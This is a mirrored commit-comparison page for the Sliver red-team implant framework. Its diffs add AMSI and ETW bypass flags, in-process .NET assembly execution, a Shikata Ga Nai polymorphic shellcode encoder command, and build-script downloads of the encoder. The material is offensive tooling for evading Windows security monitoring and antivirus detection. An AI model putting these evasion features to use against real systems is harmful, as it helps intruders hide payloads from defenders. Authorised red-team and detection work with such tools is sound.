mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
40
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f1030ebaa4 | ||
|
|
39da957b7c | ||
|
|
4ffb75fa15 | ||
|
|
f9bc1a7bd3 | ||
|
|
7a22ed901a | ||
|
|
a29135770f | ||
|
|
abde731c35 | ||
|
|
1f7bc9b227 | ||
|
|
8617ac9c47 | ||
|
|
8aa8095010 | ||
|
|
b621107965 | ||
|
|
04f0d38bd2 | ||
|
|
8ef7f465a4 | ||
|
|
102ee0b533 | ||
|
|
c3cb978ee6 | ||
|
|
18ddfd2943 | ||
|
|
3b3a335c41 | ||
|
|
b64f00a66e | ||
|
|
6a44f6b435 | ||
|
|
e4db654d62 | ||
|
|
1a1924273b | ||
|
|
c20acb9657 | ||
|
|
3d89716007 | ||
|
|
3351ab0fee | ||
|
|
4c062445ad | ||
|
|
bdb6393842 | ||
|
|
20a4043d7c | ||
|
|
79d720d477 | ||
|
|
2ec234fd8c | ||
|
|
3ab978e754 | ||
|
|
0644a82a2c | ||
|
|
d6c41f1713 | ||
|
|
660af1fe60 | ||
|
|
79f2d48fcd | ||
|
|
166c494894 | ||
|
|
1be70b3053 | ||
|
|
f0405a3beb | ||
|
|
68e9dcc61c | ||
|
|
f75d791d20 | ||
|
|
223500ed83 |
No files matched your search
+1
-2
@@ -1,2 +1 @@
|
||||
* @moloch--
|
||||
* @rkervella
|
||||
* @BishopFox/red-team
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -177,6 +178,11 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.Bool("i", "in-process", false, "Run in the current sliver process")
|
||||
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
@@ -274,7 +280,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
extArgs = strings.TrimSpace(extArgs)
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processArgs := strings.Split(ctx.Flags.String("process-arguments"), " ")
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = aliasManifest.getDefaultProcess(goos)
|
||||
@@ -320,6 +336,10 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
Runtime: ctx.Flags.String("runtime"),
|
||||
AmsiBypass: ctx.Flags.Bool("amsi-bypass"),
|
||||
EtwBypass: ctx.Flags.Bool("etw-bypass"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -69,6 +69,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/command/shell"
|
||||
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
|
||||
"github.com/bishopfox/sliver/client/command/socks"
|
||||
"github.com/bishopfox/sliver/client/command/tasks"
|
||||
"github.com/bishopfox/sliver/client/command/update"
|
||||
@@ -986,6 +987,33 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ Shellcode Encoders ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.ShikataGaNai,
|
||||
Help: "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ShikataGaNai}),
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("shellcode", "binary shellcode file path")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("s", "save", "", "save output to local file")
|
||||
|
||||
f.String("a", "arch", "amd64", "architecture of shellcode")
|
||||
f.Int("i", "iterations", 1, "number of iterations")
|
||||
f.String("b", "bad-chars", "", "hex encoded bad characters to avoid (e.g. 0001)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
sgn.ShikataGaNaiCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ Exec ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
@@ -1032,11 +1060,15 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.Bool("i", "in-process", false, "Run in the current sliver process")
|
||||
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.Bool("s", "save", false, "save output to file")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.Uint("P", "ppid", 0, "parent process id (optional)")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1067,6 +1099,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
|
||||
f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
|
||||
f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
|
||||
f.Bool("S", "shikata-ga-nai", false, "encode shellcode using shikata ga nai prior to execution")
|
||||
f.String("A", "architecture", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
|
||||
f.Int("I", "iterations", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -57,10 +58,24 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
|
||||
assemblyArgs := ctx.Args.StringList("arguments")
|
||||
process := ctx.Flags.String("process")
|
||||
processArgs := strings.Split(ctx.Flags.String("process-arguments"), " ")
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
|
||||
runtime := ctx.Flags.String("runtime")
|
||||
etwBypass := ctx.Flags.Bool("etw-bypass")
|
||||
amsiBypass := ctx.Flags.Bool("amsi-bypass")
|
||||
|
||||
assemblyArgsStr := strings.Join(assemblyArgs, " ")
|
||||
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
|
||||
if len(assemblyArgsStr) > 256 {
|
||||
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Executing assembly ...", ctrl)
|
||||
@@ -76,6 +91,10 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Int("ppid")),
|
||||
Runtime: runtime,
|
||||
EtwBypass: etwBypass,
|
||||
AmsiBypass: amsiBypass,
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -44,6 +44,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
|
||||
rwxPages := ctx.Flags.Bool("rwx-pages")
|
||||
interactive := ctx.Flags.Bool("interactive")
|
||||
if interactive && beacon != nil {
|
||||
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
|
||||
@@ -60,8 +61,37 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
|
||||
return
|
||||
}
|
||||
shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
|
||||
if shikataGaNai {
|
||||
if !rwxPages {
|
||||
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
|
||||
return
|
||||
}
|
||||
arch := ctx.Flags.String("architecture")
|
||||
if arch != "386" && arch != "amd64" {
|
||||
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
|
||||
return
|
||||
}
|
||||
iter := ctx.Flags.Int("iterations")
|
||||
con.PrintInfof("Encoding shellcode ...\n")
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: arch,
|
||||
Iterations: uint32(iter),
|
||||
BadChars: []byte{},
|
||||
Data: shellcodeBin,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
oldSize := len(shellcodeBin)
|
||||
shellcodeBin = resp.GetData()
|
||||
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
|
||||
}
|
||||
|
||||
if interactive {
|
||||
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
|
||||
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
|
||||
return
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
@@ -69,7 +99,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Data: shellcodeBin,
|
||||
RWXPages: ctx.Flags.Bool("rwx-pages"),
|
||||
RWXPages: rwxPages,
|
||||
Pid: uint32(pid),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
@@ -636,12 +636,34 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
|
||||
return nil, errors.New("no file data")
|
||||
}
|
||||
|
||||
fileData := generated.File.Data
|
||||
if config.IsShellcode {
|
||||
confirm := false
|
||||
survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
|
||||
if confirm {
|
||||
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: config.GOARCH,
|
||||
Iterations: 1,
|
||||
BadChars: []byte{},
|
||||
Data: fileData,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.Printf("success!\n")
|
||||
fileData = resp.GetData()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
saveTo, err := saveLocation(save, generated.File.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
|
||||
err = ioutil.WriteFile(saveTo, fileData, 0700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
package sgn
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"io/ioutil"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
|
||||
func ShikataGaNaiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
shellcodeFile := ctx.Args.String("shellcode")
|
||||
rawShellcode, err := ioutil.ReadFile(shellcodeFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read shellcode file: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
arch := ctx.Flags.String("arch")
|
||||
iterations := ctx.Flags.Int("iterations")
|
||||
rawBadChars := ctx.Flags.String("bad-chars")
|
||||
badChars, err := hex.DecodeString(rawBadChars)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode bad chars: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Encoding shellcode with %d iterations and %d bad chars\n", iterations, len(badChars))
|
||||
|
||||
shellcodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: arch,
|
||||
Iterations: uint32(iterations),
|
||||
BadChars: badChars,
|
||||
Data: rawShellcode,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", shellcodeResp.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
outputFile := ctx.Flags.String("save")
|
||||
if outputFile == "" {
|
||||
outputFile = filepath.Base(shellcodeFile)
|
||||
outputFile += ".sgn"
|
||||
}
|
||||
|
||||
err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0644)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write shellcode file: %s", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputFile, len(shellcodeResp.Data))
|
||||
}
|
||||
@@ -236,6 +236,8 @@ const (
|
||||
GetPrivsStr = "getprivs"
|
||||
PreludeOperatorStr = "prelude-operator"
|
||||
ConnectStr = "connect"
|
||||
|
||||
ShikataGaNai = "shikata-ga-nai"
|
||||
)
|
||||
|
||||
// Groups
|
||||
|
||||
@@ -85,6 +85,30 @@ POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
======================================================================================================
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2019 Ege Balcı
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
======================================================================================================
|
||||
|
||||
BSD 3-Clause License
|
||||
|
||||
Copyright (c) 2018, b4rtik
|
||||
|
||||
+27
-1
@@ -22,10 +22,10 @@ set -e
|
||||
|
||||
GO_VER="1.18.5"
|
||||
GARBLE_VER="1.18.0"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
GO_ARCH_2="arm64"
|
||||
GO_ARCH_3="386"
|
||||
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
|
||||
|
||||
if ! [ -x "$(command -v curl)" ]; then
|
||||
@@ -165,6 +165,32 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
|
||||
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
|
||||
echo "-----------------------------------------------------------------"
|
||||
|
||||
# Linux (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip
|
||||
|
||||
# Linux (arm64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip
|
||||
|
||||
# Windows (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip
|
||||
|
||||
# MacOS (amd64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip
|
||||
|
||||
# MacOS (arm64)
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
|
||||
|
||||
|
||||
# end
|
||||
echo -e "clean up: $WORK_DIR"
|
||||
rm -rf $WORK_DIR
|
||||
|
||||
+3
-1
@@ -4,6 +4,7 @@ go 1.17
|
||||
|
||||
require (
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Ne0nd0g/go-clr v1.0.2
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
@@ -14,7 +15,7 @@ require (
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
|
||||
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
google.golang.org/protobuf v1.26.0
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
@@ -33,6 +34,7 @@ require (
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
golang.org/x/mod v0.4.2 // indirect
|
||||
golang.org/x/text v0.3.7 // indirect
|
||||
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
|
||||
golang.org/x/tools v0.1.7 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
|
||||
+6
-2
@@ -71,6 +71,8 @@ github.com/Microsoft/hcsshim v0.8.6/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXn
|
||||
github.com/Microsoft/hcsshim v0.8.7-0.20190325164909-8abdbb8205e4/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXnJs8iY7rUg=
|
||||
github.com/Microsoft/hcsshim v0.8.14/go.mod h1:NtVKoYxQuTLx6gEq0L96c9Ju4JbRJ4nY2ow3VK6a9Lg=
|
||||
github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
|
||||
github.com/PuerkitoBio/purell v1.0.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
|
||||
github.com/PuerkitoBio/purell v1.1.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
|
||||
@@ -779,8 +781,8 @@ golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86 h1:A9i04dxx7Cribqbs8jf3FQLogkL/CV2YN7hj9KWJCkc=
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f h1:rlezHXNlxYWvBCzNses9Dlc7nGFaNMJeqLolcmQSSZY=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
|
||||
@@ -793,6 +795,8 @@ golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/time v0.0.0-20180412165947-fbb02b2291d2/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
|
||||
@@ -7,7 +7,7 @@ cd scripts
|
||||
|
||||
# copy Go module related files
|
||||
pwd="$(pwd)"
|
||||
tempDir="$(mktemp -d -p $pwd)"
|
||||
tempDir="$(mktemp -d)"
|
||||
cp ../go-mod "${tempDir}/go.mod"
|
||||
cp ../go-sum "${tempDir}/go.sum"
|
||||
mv ../vendor "${tempDir}/vendor"
|
||||
@@ -20,8 +20,8 @@ go mod tidy -compat=1.17
|
||||
go mod vendor
|
||||
|
||||
# move updated files back
|
||||
mv "${tempDir}/vendor" ../../vendor
|
||||
mv "${tempDir}/go.mod" ../../go-mod
|
||||
mv "${tempDir}/go.sum" ../../go-sum
|
||||
mv "${tempDir}/vendor" "${pwd}/../vendor"
|
||||
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
|
||||
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
|
||||
cd ..
|
||||
rm -rf "$tempDir"
|
||||
@@ -49,24 +49,25 @@ var (
|
||||
windowsHandlers = map[uint32]RPCHandler{
|
||||
|
||||
// Windows Only
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
